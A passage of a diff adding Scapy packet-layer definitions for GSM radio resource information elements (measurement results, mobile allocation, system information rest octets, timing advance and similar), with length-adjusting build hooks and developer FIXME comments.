+             BitField("spare21", 0x1, 1),
+             BitField("spare22", 0x0, 1),
+             BitField("spare23", 0x1, 1),
+             BitField("spare24", 0x1, 1)
+             ]
+
+
+# len is 1 to 5 what do we do with the variable size? no length
+# field?! WTF
+class IaxRestOctetsHdr(Packet):
+    """IAX Rest Octets Section 10.5.2.18"""
+    name = "IAX Rest Octets"
+    fields_desc = [
+             BitField("eightBitIRO", None, 1),
+             XBitField("ieiIRO", None, 7),
+             BitField("spare01", 0x0, 1),
+             BitField("spare02", 0x0, 1),
+             BitField("spare03", 0x1, 1),
+             BitField("spare04", 0x0, 1),
+             BitField("spare05", 0x1, 1),
+             BitField("spare06", 0x0, 1),
+             BitField("spare07", 0x1, 1),
+             BitField("spare08", 0x1, 1),
+             ByteField("spareB1", None),
+             ByteField("spareB2", None),
+             ByteField("spareB3", None)
+             ]
+
+
+class L2PseudoLengthHdr(Packet):
+    """L2 Pseudo Length Section 10.5.2.19"""
+    name = "L2 Pseudo Length"
+    fields_desc = [
+             BitField("eightBitPL", None, 1),
+             XBitField("ieiPL", None, 7),
+             BitField("l2pLength", None, 6),
+             BitField("bit2", 0x0, 1),
+             BitField("bit1", 0x1, 1)
+             ]
+
+
+class MeasurementResultsHdr(Packet):
+    """Measurement Results Section 10.5.2.20"""
+    name = "Measurement Results"
+    fields_desc = [
+             BitField("eightBitMR", None, 1),
+             XBitField("ieiMR", None, 7),
+             BitField("baUsed", 0x0, 1),
+             BitField("dtxUsed", 0x0, 1),
+             BitField("rxLevFull", 0x0, 6),
+             BitField("spare", 0x0, 1),
+             BitField("measValid", 0x0, 1),
+             BitField("rxLevSub", 0x0, 6),
+             BitField("spare0", 0x0, 1),
+             BitField("rxqualFull", 0x0, 3),
+             BitField("rxqualSub", 0x0, 3),
+             BitField("noNcellHi", 0x0, 1),
+             BitField("noNcellLo", 0x0, 2),
+             BitField("rxlevC1", 0x0, 6),
+             BitField("bcchC1", 0x0, 5),
+             BitField("bsicC1Hi", 0x0, 3),
+             BitField("bsicC1Lo", 0x0, 3),
+             BitField("rxlevC2", 0x0, 5),
+             BitField("rxlevC2Lo", 0x0, 1),
+             BitField("bcchC2", 0x0, 5),
+             BitField("bsicC1Hi", 0x0, 2),
+             BitField("bscicC2Lo", 0x0, 4),
+             BitField("bscicC2Hi", 0x0, 4),
+
+             BitField("rxlevC3Lo", 0x0, 2),
+             BitField("bcchC3", 0x0, 5),
+             BitField("rxlevC3Hi", 0x0, 1),
+
+             BitField("bsicC3Lo", 0x0, 5),
+             BitField("bsicC3Hi", 0x0, 3),
+
+             BitField("rxlevC4Lo", 0x0, 3),
+             BitField("bcchC4", 0x0, 5),
+
+             BitField("bsicC4", 0x0, 6),
+             BitField("rxlevC5Hi", 0x0, 2),
+
+             BitField("rxlevC5Lo", 0x0, 4),
+             BitField("bcchC5Hi", 0x0, 4),
+
+             BitField("bcchC5Lo", 0x0, 1),
+             BitField("bsicC5", 0x0, 6),
+             BitField("rxlevC6", 0x0, 1),
+
+             BitField("rxlevC6Lo", 0x0, 5),
+             BitField("bcchC6Hi", 0x0, 3),
+
+             BitField("bcchC6Lo", 0x0, 3),
+             BitField("bsicC6", 0x0, 5)
+             ]
+
+
+class GprsMeasurementResultsHdr(Packet):
+    """GPRS Measurement Results Section 10.5.2.20a"""
+    name = "GPRS Measurement Results"
+    fields_desc = [
+             BitField("eightBitGMR", None, 1),
+             XBitField("ieiGMR", None, 7),
+             BitField("cValue", 0x0, 6),
+             BitField("rxqualHi", 0x0, 2),
+             BitField("rxqL", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("signVar", 0x0, 6)
+             ]
+
+
+# len 3 to 10
+class MobileAllocationHdr(Packet):
+    """Mobile Allocation Section 10.5.2.21"""
+    name = "Mobile Allocation"
+    fields_desc = [
+             BitField("eightBitMA", None, 1),
+             XBitField("ieiMA", None, 7),
+             XByteField("lengthMA", None),
+             ByteField("maC64", 0x12),
+             ByteField("maC56", None),  # optional fields start here
+             ByteField("maC48", None),
+             ByteField("maC40", None),
+             ByteField("maC32", None),
+             ByteField("maC24", None),
+             ByteField("maC16", None),
+             ByteField("maC8", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 10, a, self.fields_desc)
+        if self.lengthMA is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class MobileTimeDifferenceHdr(Packet):
+    """Mobile Time Difference Section 10.5.2.21a"""
+    name = "Mobile Time Difference"
+    fields_desc = [
+             BitField("eightBitMTD", None, 1),
+             XBitField("ieiMTD", None, 7),
+             XByteField("lengthMTD", 0x5),
+             ByteField("valueHi", 0x0),
+             ByteField("valueCnt", 0x0),
+             BitField("valueLow", 0x0, 5),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1)
+             ]
+
+
+# min 4 octets max 8
+class MultiRateConfigurationHdr(Packet):
+    """ MultiRate configuration Section 10.5.2.21aa"""
+    name = "MultiRate Configuration"
+    fields_desc = [
+             BitField("eightBitMRC", None, 1),
+             XBitField("ieiMRC", None, 7),
+
+             XByteField("lengthMRC", None),
+
+             BitField("mrVersion", 0x0, 3),
+             BitField("spare", 0x0, 1),
+             BitField("icmi", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("startMode", 0x0, 2),
+
+             ByteField("amrCodec", 0x0),
+
+             BitField("spare", None, 2),
+             BitField("threshold1", None, 6),
+
+             BitField("hysteresis1", None, 4),
+             BitField("threshold2", None, 4),
+
+             BitField("threshold2cnt", None, 2),
+             BitField("hysteresis2", None, 4),
+             BitField("threshold3", None, 2),
+
+             BitField("threshold3cnt", None, 4),
+             BitField("hysteresis3", None, 4)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(4, 8, a, self.fields_desc)
+        if self.lengthMRC is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 3 to 12
+class MultislotAllocationHdr(Packet):
+    """Multislot Allocation Section 10.5.2.21b"""
+    name = "Multislot Allocation"
+    fields_desc = [
+             BitField("eightBitMSA", None, 1),
+             XBitField("ieiMSA", None, 7),
+             XByteField("lengthMSA", None),
+             BitField("ext0", 0x1, 1),
+             BitField("da", 0x0, 7),
+             ConditionalField(BitField("ext1", 0x1, 1),  # optional
+                              lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("ua", 0x0, 7),
+                              lambda pkt: pkt.ext0 == 0),
+             ByteField("chan1", None),
+             ByteField("chan2", None),
+             ByteField("chan3", None),
+             ByteField("chan4", None),
+             ByteField("chan5", None),
+             ByteField("chan6", None),
+             ByteField("chan7", None),
+             ByteField("chan8", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 12, a, self.fields_desc)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthMSA is None:
+            p = p[:1] + struct.pack(">B", len(p)-2) + p[2:]
+        return p + pay
+
+
+class NcModeHdr(Packet):
+    """NC mode Section 10.5.2.21c"""
+    name = "NC Mode"
+    fields_desc = [
+             XBitField("ieiNM", None, 4),
+             BitField("spare", 0x0, 2),
+             BitField("ncMode", 0x0, 2)
+             ]
+
+
+# Fix for len problem
+# concatenation NC Mode And Spare Half Octets
+class NcModeAndSpareHalfOctets(Packet):
+    name = "NC Mode And Spare Half Octets"
+    fields_desc = [
+             BitField("spare", 0x0, 2),
+             BitField("ncMode", 0x0, 2),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class NeighbourCellsDescriptionHdr(Packet):
+    """Neighbour Cells Description Section 10.5.2.22"""
+    name = "Neighbour Cells Description"
+    fields_desc = [
+             BitField("eightBitNCD", None, 1),
+             XBitField("ieiNCD", None, 7),
+             BitField("bit128", 0x0, 1),
+             BitField("bit127", 0x0, 1),
+             BitField("extInd", 0x0, 1),
+             BitField("baInd", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+             BitField("120bits", 0x0, 120)
+             ]
+
+
+class NeighbourCellsDescription2Hdr(Packet):
+    """Neighbour Cells Description 2 Section 10.5.2.22a"""
+    name = "Neighbour Cells Description 2"
+    fields_desc = [
+             BitField("eightBitNCD2", None, 1),
+             XBitField("ieiNCD2", None, 7),
+             BitField("bit128", 0x0, 1),
+             BitField("multiband", 0x0, 2),
+             BitField("baInd", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+             BitField("120bits", 0x0, 120)
+             ]
+
+
+class NtNRestOctets(Packet):
+    """NT/N Rest Octets Section 10.5.2.22c"""
+    name = "NT/N Rest Octets"
+    fields_desc = [
+              BitField("nln", 0x0, 2),
+              BitField("ncnInfo", 0x0, 4),
+              BitField("spare", 0x0, 2)
+              ]
+
+
+#
+# The following  packet has no length info!
+#
+# len 1-18
+class P1RestOctets(Packet):
+    """P1 Rest Octets Section 10.5.2.23"""
+    name = "P1 Rest Octets"
+    fields_desc = [
+              BitField("nln", 0x0, 2),
+              BitField("nlnStatus", 0x0, 1),
+              BitField("prio1", 0x0, 3),
+              BitField("prio2", 0x0, 3),
+              # optional
+              BitField("pageIndication1", 0x0, 1),
+              BitField("pageIndication2", 0x0, 1),
+              BitField("spare", 0x0, 5),
+              ByteField("spareB1", None),
+              ByteField("spareB2", None),
+              ByteField("spareB3", None),
+              ByteField("spareB4", None),
+              ByteField("spareB5", None),
+              ByteField("spareB6", None),
+              ByteField("spareB7", None),
+              ByteField("spareB8", None),
+              ByteField("spareB9", None),
+              ByteField("spareB10", None),
+              ByteField("spareB11", None),
+              ByteField("spareB12", None),
+              ByteField("spareB13", None),
+              ByteField("spareB14", None),
+              ByteField("spareB15", None),
+              ByteField("spareB16", None),
+              ]
+
+
+# len 2-12
+class P2RestOctets(Packet):
+    """P2 Rest Octets Section 10.5.2.24"""
+    name = "P2 Rest Octets"
+    fields_desc = [
+              BitField("cn3", 0x0, 2),
+              BitField("nln", 0x0, 2),
+              BitField("nlnStatus", 0x0, 1),
+              BitField("prio1", 0x0, 3),
+
+              BitField("prio2", 0x0, 3),
+              BitField("prio3", 0x0, 3),
+              BitField("pageIndication3", 0x0, 1),
+              BitField("spare", 0x0, 1),
+
+              # optinal (No length field!)
+              ByteField("spareB1", None),
+              ByteField("spareB2", None),
+              ByteField("spareB3", None),
+              ByteField("spareB4", None),
+
+              ByteField("spareB5", None),
+              ByteField("spareB6", None),
+              ByteField("spareB7", None),
+              ByteField("spareB8", None),
+
+              ByteField("spareB9", None),
+              ByteField("spareB10", None)
+              ]
+
+
+# len 4
+class P3RestOctets(Packet):
+    """P3 Rest Octets Section 10.5.2.25"""
+    name = "P3 Rest Octets"
+    fields_desc = [
+              BitField("cn3", 0x0, 2),
+              BitField("cn4", 0x0, 2),
+              BitField("nln", 0x0, 2),
+              BitField("nlnStatus", 0x0, 1),
+              BitField("prio1", 0x0, 3),
+              BitField("prio2", 0x0, 3),
+              BitField("prio3", 0x0, 3),
+              BitField("prio4", 0x0, 3),
+              BitField("spare", 0x0, 5)
+              ]
+
+
+# len 4
+# strange  packet, lots of valid formats
+
+# ideas for the dynamic  packets:
+# 1] for user interaction: Create an interactive "builder" based on a
+# Q/A process (not very scapy like)
+# 2] for usage in scripts, create an alternative  packet for every
+# possible  packet layout
+#
+
+
+class PacketChannelDescription(Packet):
+    """Packet Channel Description Section 10.5.2.25a"""
+    name = "Packet Channel Description"
+    fields_desc = [
+              ByteField("ieiPCD", None),
+              BitField("chanType", 0x0, 5),  # This  packet has multiple
+                                  # possible layouts. I moddeled the first one
+              BitField("tn", 0x0, 3),     # maybe build an
+                                          #"interactive" builder. Like
+                                          # a Q/A then propose a
+                                          #  packet?
+              BitField("tsc", 0x0, 3),
+              BitField("chooser1", 0x0, 1),
+              BitField("chooser2", 0x0, 1),
+              BitField("spare1", 0x0, 1),
+              BitField("arfcn", 0x0, 10),
+              ]
+
+
+class DedicatedModeOrTBFHdr(Packet):
+    """Dedicated mode or TBF Section 10.5.2.25b"""
+    name = "Dedicated Mode or TBF"
+    fields_desc = [
+             XBitField("ieiDMOT", None, 4),
+             BitField("spare", 0x0, 1),
+             BitField("tma", 0x0, 1),
+             BitField("downlink", 0x0, 1),
+             BitField("td", 0x0, 1)
+             ]
+
+
+# FIXME add implementation
+class RrPacketUplinkAssignment(Packet):
+    """RR Packet Uplink Assignment Section 10.5.2.25c"""
+    name = "RR Packet Uplink Assignment"
+    fields_desc = [
+             # Fill me
+             ]
+
+
+class PageModeHdr(Packet):
+    """Page Mode Section 10.5.2.26"""
+    name = "Page Mode"
+    fields_desc = [
+             XBitField("ieiPM", None, 4),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("pm", 0x0, 2)
+             ]
+
+
+# Fix for 1/2 len problem
+# concatenation: pageMode and dedicatedModeOrTBF
+class PageModeAndDedicatedModeOrTBF(Packet):
+    name = "Page Mode and Dedicated Mode Or TBF"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("pm", 0x0, 2),
+             BitField("spare", 0x0, 1),
+             BitField("tma", 0x0, 1),
+             BitField("downlink", 0x0, 1),
+             BitField("td", 0x0, 1)
+             ]
+
+
+# Fix for 1/2 len problem
+# concatenation: pageMode and spareHalfOctets
+class PageModeAndSpareHalfOctets(Packet):
+    name = "Page Mode and Spare Half Octets"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("pm", 0x0, 2),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+# Fix for 1/2 len problem
+# concatenation: pageMode and Channel Needed
+class PageModeAndChannelNeeded(Packet):
+    name = "Page Mode and Channel Needed"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("pm", 0x0, 2),
+             BitField("channel2", 0x0, 2),
+             BitField("channel1", 0x0, 2)
+             ]
+
+
+class NccPermittedHdr(Packet):
+    """NCC Permitted Section 10.5.2.27"""
+    name = "NCC Permitted"
+    fields_desc = [
+             BitField("eightBitNP", None, 1),
+             XBitField("ieiNP", None, 7),
+             ByteField("nccPerm", 0x0)
+             ]
+
+
+class PowerCommandHdr(Packet):
+    """Power Command Section 10.5.2.28"""
+    name = "Power Command"
+    fields_desc = [
+             BitField("eightBitPC", None, 1),
+             XBitField("ieiPC", None, 7),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("spare2", 0x0, 1),
+             BitField("powerLvl", 0x0, 5)
+             ]
+
+
+class PowerCommandAndAccessTypeHdr(Packet):
+    """Power Command and access type  Section 10.5.2.28a"""
+    name = "Power Command and Access Type"
+    fields_desc = [
+             BitField("eightBitPCAAT", None, 1),
+             XBitField("ieiPCAAT", None, 7),
+             BitField("atc", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("powerLvl", 0x0, 5)
+             ]
+
+
+class RachControlParametersHdr(Packet):
+    """RACH Control Parameters Section 10.5.2.29"""
+    name = "RACH Control Parameters"
+    fields_desc = [
+             BitField("eightBitRCP", None, 1),
+             XBitField("ieiRCP", None, 7),
+             BitField("maxRetrans", 0x0, 2),
+             BitField("txInteger", 0x0, 4),
+             BitField("cellBarrAccess", 0x0, 1),
+             BitField("re", 0x0, 1),
+             BitField("ACC15", 0x0, 1),
+             BitField("ACC14", 0x0, 1),
+             BitField("ACC13", 0x0, 1),
+             BitField("ACC12", 0x0, 1),
+             BitField("ACC11", 0x0, 1),
+             BitField("ACC10", 0x0, 1),
+             BitField("ACC09", 0x0, 1),
+             BitField("ACC08", 0x0, 1),
+             BitField("ACC07", 0x0, 1),
+             BitField("ACC06", 0x0, 1),
+             BitField("ACC05", 0x0, 1),
+             BitField("ACC04", 0x0, 1),
+             BitField("ACC03", 0x0, 1),
+             BitField("ACC02", 0x0, 1),
+             BitField("ACC01", 0x0, 1),
+             BitField("ACC00", 0x0, 1),
+             ]
+
+
+class RequestReferenceHdr(Packet):
+    """Request Reference  Section 10.5.2.30"""
+    name = "Request Reference"
+    fields_desc = [
+             BitField("eightBitRR", None, 1),
+             XBitField("ieiRR", None, 7),
+             ByteField("ra", 0x0),
+             BitField("t1", 0x0, 5),
+             BitField("t3Hi", 0x0, 3),
+             BitField("t3Lo", 0x0, 3),
+             BitField("t2", 0x0, 5)
+             ]
+
+
+class RrCauseHdr(Packet):
+    """RR Cause  Section 10.5.2.31"""
+    name = "RR Cause"
+    fields_desc = [
+             BitField("eightBitRC", None, 1),
+             XBitField("ieiRC", None, 7),
+             ByteField("rrCause", 0x0)
+             ]
+
+
+class Si1RestOctets(Packet):
+    """SI 1 Rest Octets Section 10.5.2.32"""
+    name = "SI 1 Rest Octets"
+    fields_desc = [
+             ByteField("nchPos", 0x0)
+             ]
+
+
+class Si2bisRestOctets(Packet):
+    """SI 2bis Rest Octets Section 10.5.2.33"""
+    name = "SI 2bis Rest Octets"
+    fields_desc = [
+             ByteField("spare", 0x0)
+             ]
+
+
+class Si2terRestOctets(Packet):
+    """SI 2ter Rest Octets Section 10.5.2.33a"""
+    name = "SI 2ter Rest Octets"
+    fields_desc = [
+             ByteField("spare1", 0x0),
+             ByteField("spare2", 0x0),
+             ByteField("spare3", 0x0),
+             ByteField("spare4", 0x0)
+             ]
+
+
+# len 5
+class Si3RestOctets(Packet):
+    """SI 3 Rest Octets Section 10.5.2.34"""
+    name = "SI 3 Rest Octets"
+    fields_desc = [
+             ByteField("byte1", 0x0),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0)
+             ]
+
+
+# len 1 to 11
+class Si4RestOctets(Packet):
+    """SI 4 Rest Octets Section 10.5.2.35"""
+    name = "SI 4 Rest Octets"
+    fields_desc = [
+             XByteField("lengthSI4", None),
+             ByteField("byte2", None),
+             ByteField("byte3", None),
+             ByteField("byte4", None),
+             ByteField("byte5", None),
+             ByteField("byte6", None),
+             ByteField("byte7", None),
+             ByteField("byte8", None),
+             ByteField("byte9", None),
+             ByteField("byte10", None),
+             ByteField("byte11", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 11, a, self.fields_desc, 1)
+        if self.lengthSI4 is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if len(p) is 1:  # length of this packet can be 0, but packet is
+            p = ''       # but the IE is manadatory 0_o
+        return p + pay
+
+
+class Si6RestOctets(Packet):
+    """SI 6 Rest Octets Section 10.5.2.35a"""
+    name = "SI 4 Rest Octets"
+    fields_desc = [
+             # FIXME
+             ]
+
+
+# len 21
+class Si7RestOctets(Packet):
+    """SI 7 Rest Octets Section 10.5.2.36"""
+    name = "SI 7 Rest Octets"
+    fields_desc = [
+             # FIXME
+             XByteField("lengthSI7", 0x15),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0),
+             ByteField("byte11", 0x0),
+             ByteField("byte12", 0x0),
+             ByteField("byte13", 0x0),
+             ByteField("byte14", 0x0),
+             ByteField("byte15", 0x0),
+             ByteField("byte16", 0x0),
+             ByteField("byte17", 0x0),
+             ByteField("byte18", 0x0),
+             ByteField("byte19", 0x0),
+             ByteField("byte20", 0x0),
+             ByteField("byte21", 0x0)
+             ]
+
+
+# len 21
+class Si8RestOctets(Packet):
+    """SI 8 Rest Octets Section 10.5.2.37"""
+    name = "SI 8 Rest Octets"
+    fields_desc = [
+             # FIXME
+             XByteField("lengthSI8", 0x15),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0),
+             ByteField("byte11", 0x0),
+             ByteField("byte12", 0x0),
+             ByteField("byte13", 0x0),
+             ByteField("byte14", 0x0),
+             ByteField("byte15", 0x0),
+             ByteField("byte16", 0x0),
+             ByteField("byte17", 0x0),
+             ByteField("byte18", 0x0),
+             ByteField("byte19", 0x0),
+             ByteField("byte20", 0x0),
+             ByteField("byte21", 0x0)
+             ]
+
+
+#len 17
+class Si9RestOctets(Packet):
+    """SI 9 Rest Octets Section 10.5.2.37a"""
+    name = "SI 9 Rest Octets"
+    fields_desc = [
+             # FIXME
+             XByteField("lengthSI9", 0x11),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0),
+             ByteField("byte11", 0x0),
+             ByteField("byte12", 0x0),
+             ByteField("byte13", 0x0),
+             ByteField("byte14", 0x0),
+             ByteField("byte15", 0x0),
+             ByteField("byte16", 0x0),
+             ByteField("byte17", 0x0)
+             ]
+
+
+# len 21
+class Si13RestOctets(Packet):
+    """SI 13 Rest Octets Section 10.5.2.37b"""
+    name = "SI 13 Rest Octets"
+    fields_desc = [
+             # FIXME
+             XByteField("lengthSI3", 0x15),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0),
+             ByteField("byte11", 0x0),
+             ByteField("byte12", 0x0),
+             ByteField("byte13", 0x0),
+             ByteField("byte14", 0x0),
+             ByteField("byte15", 0x0),
+             ByteField("byte16", 0x0),
+             ByteField("byte17", 0x0),
+             ByteField("byte18", 0x0),
+             ByteField("byte19", 0x0),
+             ByteField("byte20", 0x0),
+             ByteField("byte21", 0x0)
+             ]
+
+
+# 10.5.2.37c [spare]
+# 10.5.2.37d [spare]
+
+
+# len 21
+class Si16RestOctets(Packet):
+    """SI 16 Rest Octets Section 10.5.2.37e"""
+    name = "SI 16 Rest Octets"
+    fields_desc = [
+             # FIXME
+             XByteField("lengthSI16", 0x15),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0),
+             ByteField("byte11", 0x0),
+             ByteField("byte12", 0x0),
+             ByteField("byte13", 0x0),
+             ByteField("byte14", 0x0),
+             ByteField("byte15", 0x0),
+             ByteField("byte16", 0x0),
+             ByteField("byte17", 0x0),
+             ByteField("byte18", 0x0),
+             ByteField("byte19", 0x0),
+             ByteField("byte20", 0x0),
+             ByteField("byte21", 0x0)
+             ]
+
+
+# len 21
+class Si17RestOctets(Packet):
+    """SI 17 Rest Octets Section 10.5.2.37f"""
+    name = "SI 17 Rest Octets"
+    fields_desc = [
+             # FIXME
+             XByteField("lengthSI17", 0x15),
+             ByteField("byte2", 0x0),
+             ByteField("byte3", 0x0),
+             ByteField("byte4", 0x0),
+             ByteField("byte5", 0x0),
+             ByteField("byte6", 0x0),
+             ByteField("byte7", 0x0),
+             ByteField("byte8", 0x0),
+             ByteField("byte9", 0x0),
+             ByteField("byte10", 0x0),
+             ByteField("byte11", 0x0),
+             ByteField("byte12", 0x0),
+             ByteField("byte13", 0x0),
+             ByteField("byte14", 0x0),
+             ByteField("byte15", 0x0),
+             ByteField("byte16", 0x0),
+             ByteField("byte17", 0x0),
+             ByteField("byte18", 0x0),
+             ByteField("byte19", 0x0),
+             ByteField("byte20", 0x0),
+             ByteField("byte21", 0x0)
+             ]
+
+
+class StartingTimeHdr(Packet):
+    """Starting Time Section 10.5.2.38"""
+    name = "Starting Time"
+    fields_desc = [
+             BitField("eightBitST", None, 1),
+             XBitField("ieiST", None, 7),
+             ByteField("ra", 0x0),
+             BitField("t1", 0x0, 5),
+             BitField("t3Hi", 0x0, 3),
+             BitField("t3Lo", 0x0, 3),
+             BitField("t2", 0x0, 5)
+             ]
+
+
+class SynchronizationIndicationHdr(Packet):
+    """Synchronization Indication Section 10.5.2.39"""
+    name = "Synchronization Indication"
+    fields_desc = [
+             XBitField("ieiSI", None, 4),
+             BitField("nci", 0x0, 1),
+             BitField("rot", 0x0, 1),
+             BitField("si", 0x0, 2)
+             ]
+
+
+class TimingAdvanceHdr(Packet):
+    """Timing Advance Section 10.5.2.40"""
+    name = "Timing Advance"
+    fields_desc = [
+             BitField("eightBitTA", None, 1),
+             XBitField("ieiTA", None, 7),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("timingVal", 0x0, 6)
+             ]
+
+
+class TimeDifferenceHdr(Packet):
+    """ Time Difference Section 10.5.2.41"""
+    name = "Time Difference"
+    fields_desc = [
+             BitField("eightBitTD", None, 1),
+             XBitField("ieiTD", None, 7),
+             XByteField("lengthTD", 0x3),
+             ByteField("timeValue", 0x0)
+             ]
+
+
+class TlliHdr(Packet):
+    """ TLLI Section Section 10.5.2.41a"""
+    name = "TLLI"
+    fields_desc = [
+             BitField("eightBitT", None, 1),
+             XBitField("ieiT", None, 7),
+             ByteField("value", 0x0),
+             ByteField("value1", 0x0),
+             ByteField("value2", 0x0),
+             ByteField("value3", 0x0)
+             ]
+
+
+class TmsiPTmsiHdr(Packet):
+    """ TMSI/P-TMSI Section 10.5.2.42"""
+    name = "TMSI/P-TMSI"
+    fields_desc = [
+             BitField("eightBitTPT", None, 1),
+             XBitField("ieiTPT", None, 7),
+             ByteField("value", 0x0),
+             ByteField("value1", 0x0),
+             ByteField("value2", 0x0),
+             ByteField("value3", 0x0)
+             ]
+
+
+class VgcsTargetModeIdenticationHdr(Packet):
+    """ VGCS target Mode Indication 10.5.2.42a"""
+    name = "VGCS Target Mode Indication"
+    fields_desc = [
+             BitField("eightBitVTMI", None, 1),
+             XBitField("ieiVTMI", None, 7),
+             XByteField("lengthVTMI", 0x2),
+             BitField("targerMode", 0x0, 2),
+             BitField("cipherKeyNb", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1)
+             ]
+
+
+class WaitIndicationHdr(Packet):
+    """ Wait Indication Section 10.5.2.43"""
+    name = "Wait Indication"
+    fields_desc = [  # asciiart of specs strange
+             BitField("eightBitWI", None, 1),
+             XBitField("ieiWI", None, 7),
+             ByteField("timeoutVal", 0x0)
+             ]
+
+
+# len 17
+class ExtendedMeasurementResultsHdr(Packet):
+    """EXTENDED MEASUREMENT RESULTS Section 10.5.2.45"""
+    name = "Extended Measurement Results"
+    fields_desc = [
+             BitField("eightBitEMR", None, 1),
+             XBitField("ieiEMR", None, 7),
+
+             BitField("scUsed", None, 1),
+             BitField("dtxUsed", None, 1),
+             BitField("rxLevC0", None, 6),
+
+             BitField("rxLevC1", None, 6),
+             BitField("rxLevC2Hi", None, 2),
+
+             BitField("rxLevC2Lo", None, 4),
+             BitField("rxLevC3Hi", None, 4),
+
+             BitField("rxLevC3Lo", None, 3),
+             BitField("rxLevC4", None, 5),
+
+             BitField("rxLevC5", None, 6),
+             BitField("rxLevC6Hi", None, 2),
+
+             BitField("rxLevC6Lo", None, 4),
+             BitField("rxLevC7Hi", None, 4),
+
+             BitField("rxLevC7Lo", None, 2),
+             BitField("rxLevC8", None, 6),
+
+             BitField("rxLevC9", None, 6),
+             BitField("rxLevC10Hi", None, 2),
+
+             BitField("rxLevC10Lo", None, 4),
+             BitField("rxLevC11Hi", None, 4),
+
+             BitField("rxLevC13Lo", None, 2),
+             BitField("rxLevC12", None, 6),
+
+             BitField("rxLevC13", None, 6),
+             BitField("rxLevC14Hi", None, 2),
+
+             BitField("rxLevC14Lo", None, 4),
+             BitField("rxLevC15Hi", None, 4),
+
+             BitField("rxLevC15Lo", None, 2),
+             BitField("rxLevC16", None, 6),
+
+
+             BitField("rxLevC17", None, 6),
+             BitField("rxLevC18Hi", None, 2),
+
+             BitField("rxLevC18Lo", None, 4),
+             BitField("rxLevC19Hi", None, 4),
+
+             BitField("rxLevC19Lo", None, 2),
+             BitField("rxLevC20", None, 6)
+             ]
+
+
+# len 17
+class ExtendedMeasurementFrequencyListHdr(Packet):
+    """Extended Measurement Frequency List Section 10.5.2.46"""
+    name = "Extended Measurement Frequency List"
+    fields_desc = [
+             BitField("eightBitEMFL", None, 1),
+             XBitField("ieiEMFL", None, 7),
+
+             BitField("bit128", 0x0, 1),
+             BitField("bit127", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("seqCode", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+
+             BitField("bitsRest", 0x0, 128)
+             ]
+
+
+class SuspensionCauseHdr(Packet):
+    """Suspension Cause Section 10.5.2.47"""
